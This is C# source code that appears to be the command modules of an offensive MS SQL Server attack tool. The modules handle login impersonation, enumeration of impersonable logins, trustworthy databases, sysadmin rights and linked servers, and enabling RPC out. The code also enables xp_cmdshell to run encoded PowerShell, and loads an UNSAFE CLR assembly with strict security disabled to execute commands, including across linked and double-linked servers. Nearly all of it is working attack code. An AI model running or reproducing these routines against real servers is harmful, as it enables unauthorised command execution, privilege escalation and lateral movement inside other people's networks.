public void Execute(Dictionary <string, string> arguments) { string connectInfo = ""; string cmd = ""; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/server", "/command" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } argumentSet.GetExtraString("/command", out cmd); SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } var procedures = new Dictionary <string, string>(); procedures.Add("Enabling advanced options..", $"EXEC sp_configure 'show advanced options', 1; RECONFIGURE;"); procedures.Add("Enabling 'xp_cmdshell'..", $"EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"); procedures.Add("Executing command..", $"EXEC xp_cmdshell 'powershell -enc {cmd}';"); procedures.Add("Disabling 'xp_cmdshell'..", $"EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;"); foreach (string step in procedures.Keys) { Console.WriteLine("[*] {0}", step); if (String.IsNullOrEmpty(argumentSet.target) && String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteProcedure( connection, procedures[step], argumentSet.impersonate ); } else if (String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteLinkedProcedure( connection, procedures[step], argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked ); } else { SQLExecutor.ExecuteDoubleLinkedProcedure( connection, procedures[step], argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate ); } } connection.Close(); }
public void Execute(Dictionary <string, string> arguments) { string connectInfo = ""; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/server" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } var queries = new List <string>(); queries.Add("SELECT SYSTEM_USER as 'Logged in as', CURRENT_USER as 'Mapped as';"); queries.Add("SELECT distinct b.name AS 'Login that can be impersonated' FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"); queries.Add("SELECT name as 'Owner that can be impersonated', db as 'Trustworthy DB' FROM (SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE') impersonable LEFT JOIN (select name AS db, suser_sname( owner_sid ) as owner, is_trustworthy_on from sys.databases) owners ON owners.owner = impersonable.name WHERE is_trustworthy_on = 1;"); foreach (string query in queries) { if (String.IsNullOrEmpty(argumentSet.target) && String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteQuery( connection, query, argumentSet.impersonate ); } else if (String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteLinkedQuery( connection, query, argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked ); } else { SQLExecutor.ExecuteDoublyLinkedQuery( connection, query, argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate ); } } connection.Close(); }
public void Execute(Dictionary <string, string> arguments) { string connectInfo; bool permissions; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/server" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } argumentSet.GetExtraBool("/permissions", out permissions); SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } var queries = new List <string>(); queries.Add("SELECT SYSTEM_USER as 'Logged in as', CURRENT_USER as 'Mapped as';"); queries.Add("SELECT IS_SRVROLEMEMBER('public') as 'Public role';"); queries.Add("SELECT IS_SRVROLEMEMBER('sysadmin') as 'Sysadmin role';"); foreach (string query in queries) { if (String.IsNullOrEmpty(argumentSet.target) && String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteQuery( connection, query, argumentSet.impersonate); } else if (String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteLinkedQuery( connection, query, argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked ); } else { SQLExecutor.ExecuteDoublyLinkedQuery( connection, query, argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate ); } } /* * The following query is quite difficult to wrap within my SQLExecutor, mostly due to the fact I implemented the output in tabular format */ if (permissions) { Console.WriteLine("[*] Checking user permissions.."); string query = @"SELECT * FROM(SELECT 'OBJECT' AS entity_class, NAME, subentity_name, permission_name FROM sys.objects CROSS APPLY fn_my_permissions(QUOTENAME(NAME), 'OBJECT') a UNION ALL SELECT 'DATABASE' AS entity_class, NAME, subentity_name, permission_name FROM sys.databases CROSS APPLY fn_my_permissions(QUOTENAME(NAME), 'DATABASE') a UNION ALL SELECT 'SERVER' AS entity_class, @@SERVERNAME AS NAME, subentity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER')) p ORDER BY entity_class, NAME"; if (!String.IsNullOrEmpty(argumentSet.intermediate) && !String.IsNullOrEmpty(argumentSet.target)) { query = SQLExecutor.PrepareDoublyLinkedQuery( query, argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate ); } else if (!String.IsNullOrEmpty(argumentSet.target)) { query = SQLExecutor.PrepareLinkedQuery( query, argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked ); } SqlCommand command = new SqlCommand(query, connection); TablePrinter.PrintRow("ENTITY", "NAME", "SUBENTITY", "PERMISSION"); TablePrinter.PrintLine(); using (SqlDataReader reader = command.ExecuteReader()) { while (reader.Read()) { TablePrinter.PrintRow(reader.GetString(0), reader.GetString(1), reader.GetString(2), reader.GetString(3)); } } TablePrinter.PrintLine(); } connection.Close(); }
public void Execute(Dictionary <string, string> arguments) { string connectInfo = ""; bool verbose; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/server" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } argumentSet.GetExtraBool("/verbose", out verbose); SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } if (!verbose && String.IsNullOrEmpty(argumentSet.target)) { string procedure = "EXECUTE sp_linkedservers;"; procedure = SQLExecutor.PrepareSimpleStatement(procedure, argumentSet.impersonate); SqlCommand command = new SqlCommand(procedure, connection); using (SqlDataReader reader = command.ExecuteReader()) { while (reader.Read()) { Console.WriteLine("[*] Linked SQL server: " + reader[0]); } } } else { string query = @"SELECT name AS 'SQL Server', is_linked AS 'Linked', is_remote_login_enabled AS 'Remote Login', is_data_access_enabled AS 'Data Access', is_rpc_out_enabled AS 'RPC Out' FROM sys.servers; "; if (String.IsNullOrEmpty(argumentSet.target) && String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteQuery( connection, query, argumentSet.impersonate, true ); } else if (String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteLinkedQuery( connection, query, argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked, true ); } else { SQLExecutor.ExecuteDoublyLinkedQuery( connection, query, argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate, true ); } } connection.Close(); }
public void Execute(Dictionary <string, string> arguments) { string connectInfo = ""; string query = ""; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/server", "/command", "/target" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } argumentSet.GetExtraString("/query", out query); SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } if (String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteLinkedQuery( connection, query, argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked ); } else { SQLExecutor.ExecuteDoublyLinkedQuery( connection, query, argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate ); } connection.Close(); }
public void Execute(Dictionary <string, string> arguments) { string connectInfo; bool verbose; bool exclude_default; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/server" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } argumentSet.GetExtraBool("/verbose", out verbose); argumentSet.GetExtraBool("/nodefault", out exclude_default); SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } string select = verbose ? "name AS 'Database', suser_sname(owner_sid) AS 'Owner', is_trustworthy_on AS 'Trustworthy'": "name AS 'Database'"; string where = exclude_default ? "WHERE name NOT IN('master', 'tempdb', 'model', 'msdb')" : ""; var queries = new List <string>(); queries.Add( $@"SELECT {select} FROM sys.databases {where};" ); foreach (string query in queries) { if (String.IsNullOrEmpty(argumentSet.target) && String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteQuery( connection, query, argumentSet.impersonate, true ); } else if (String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteLinkedQuery( connection, query, argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked, true ); } else { SQLExecutor.ExecuteDoublyLinkedQuery( connection, query, argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate, true ); } } connection.Close(); }
public void Execute(Dictionary <string, string> arguments) { string connectInfo = ""; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/server" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } var procedures = new Dictionary <string, string>(); // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } procedures.Add("Enabling RPC..", $"EXEC sp_serveroption '{argumentSet.target}', 'rpc', 'true'; EXEC sp_serveroption '{argumentSet.target}', 'rpc out', 'true';"); foreach (string step in procedures.Keys) { Console.WriteLine("[*] {0}", step); if (String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteProcedure( connection, procedures[step], argumentSet.impersonate ); } else { // This may appear strange, but when we perform this kind of procedure, // we're not on the target server itself, but on an adjacent server SQLExecutor.ExecuteLinkedProcedure( connection, procedures[step], argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_intermediate ); } } connection.Close(); }
public void Execute(Dictionary <string, string> arguments) { string connectInfo = ""; string assembly = ""; string clazz = ""; string cmd = ""; string method = ""; bool compile; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/command", "/server" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } argumentSet.GetExtraString("/command", out cmd); argumentSet.GetExtraBool("/compile", out compile); argumentSet.GetExtraString("/assembly", out assembly); argumentSet.GetExtraString("/class", out clazz); argumentSet.GetExtraString("/method", out method); if (String.IsNullOrEmpty(assembly) && !compile) { Console.WriteLine("\r\n[X] You must supply an assembly name, path, url, or choose the `compile` option\r\n"); return; } else if (String.IsNullOrEmpty(assembly) && compile) { assembly = Path.GetFileNameWithoutExtension(Path.GetTempFileName()); } if (String.IsNullOrEmpty(cmd)) { Console.WriteLine("\r\n[X] You must supply a command to execute (PS Base64 Encoded)!\r\n"); return; } if (String.IsNullOrEmpty(clazz)) { clazz = "StoredProcedures"; } if (String.IsNullOrEmpty(method)) { method = StringUtils.RandomString(10); } SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } Console.WriteLine("[*] Loading assembly.."); string hash; string hexData = AssemblyLoader.LoadAssembly(assembly, out hash, clazz, method, compile); var procedures = new Dictionary <string, string>(); procedures.Add("Enabling advanced options..", $"sp_configure 'show advanced options', 1; RECONFIGURE;"); procedures.Add("Enabling 'clr enabled'..", $"sp_configure 'clr enabled', 1; RECONFIGURE;"); procedures.Add("Enabling 'clr strict security'..", $"sp_configure 'clr strict security', 0; RECONFIGURE;"); procedures.Add("Adding assembly to trusted list..", $"sp_add_trusted_assembly @hash={hash};"); procedures.Add($"Creating assembly [{assembly}]..", $"CREATE ASSEMBLY [{assembly}] FROM {hexData} WITH PERMISSION_SET = UNSAFE;"); procedures.Add($"Creating procedure [{assembly}].[{clazz}].[{method}]..", $"CREATE PROCEDURE [dbo].[{method}] @command NVARCHAR (4000) AS EXTERNAL NAME [{assembly}].[{clazz}].[{method}];"); procedures.Add("Executing command..", $"{method} '{cmd}';"); procedures.Add("Dropping procedure..", $"DROP PROCEDURE [dbo].[{method}];"); procedures.Add("Dropping assembly..", $"DROP ASSEMBLY [{assembly}];"); procedures.Add("Removing assembly from trusted list..", $"sp_drop_trusted_assembly @hash={hash};"); procedures.Add("Restoring CLR strict security'..", $"sp_configure 'clr strict security', 1; RECONFIGURE;"); procedures.Add("Disabling CLR..", $"sp_configure 'clr enabled', 0; RECONFIGURE;"); foreach (string step in procedures.Keys) { Console.WriteLine("[*] {0}", step); if (String.IsNullOrEmpty(argumentSet.target) && String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteProcedure( connection, procedures[step], argumentSet.impersonate ); } else if (String.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteLinkedProcedure( connection, procedures[step], argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked ); } else { SQLExecutor.ExecuteDoubleLinkedProcedure( connection, procedures[step], argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate ); } } connection.Close(); }
public void Execute(Dictionary <string, string> arguments) { string connectInfo = ""; ArgumentSet argumentSet; try { argumentSet = ArgumentSet.FromDictionary( arguments, new List <string>() { "/server" }); } catch (Exception e) { Console.WriteLine($"[x] Error: {e.Message}"); return; } SqlConnection connection; SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo); if (String.IsNullOrEmpty(connectInfo)) { return; } if (!SQLExecutor.Authenticate(connectInfo, out connection)) { return; } // I am confused about why it is necessary to perform this step as a separate procedure // But it seems in-line impersonation doesn't work properly if (!String.IsNullOrEmpty(argumentSet.impersonate)) { Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate); SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate); } var configurations = new string[] { "show advanced options", "xp_cmdshell", "ole automation procedures", "clr enabled", "clr strict security", }; var queries = new List <string>(); queries.Add("SELECT name FROM sys.configurations WHERE name = '{0}'"); queries.Add("SELECT value FROM sys.configurations WHERE name = '{0}'"); queries.Add("SELECT value_in_use FROM sys.configurations WHERE name = '{0}'"); foreach (string config in configurations) { Console.WriteLine("[*] Checking {0} settings on {1}..", config, String.IsNullOrEmpty(argumentSet.target) ? argumentSet.connectserver : argumentSet.target); foreach (string query in queries) { if (string.IsNullOrEmpty(argumentSet.target) && string.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteQuery( connection, String.Format(query, config), argumentSet.impersonate ); } else if (string.IsNullOrEmpty(argumentSet.intermediate)) { SQLExecutor.ExecuteLinkedQuery( connection, String.Format(query, config), argumentSet.target, argumentSet.impersonate, argumentSet.impersonate_linked ); } else { SQLExecutor.ExecuteDoublyLinkedQuery( connection, String.Format(query, config), argumentSet.target, argumentSet.intermediate, argumentSet.impersonate, argumentSet.impersonate_linked, argumentSet.impersonate_intermediate ); } } Console.WriteLine(" -----------------------------------"); } connection.Close(); }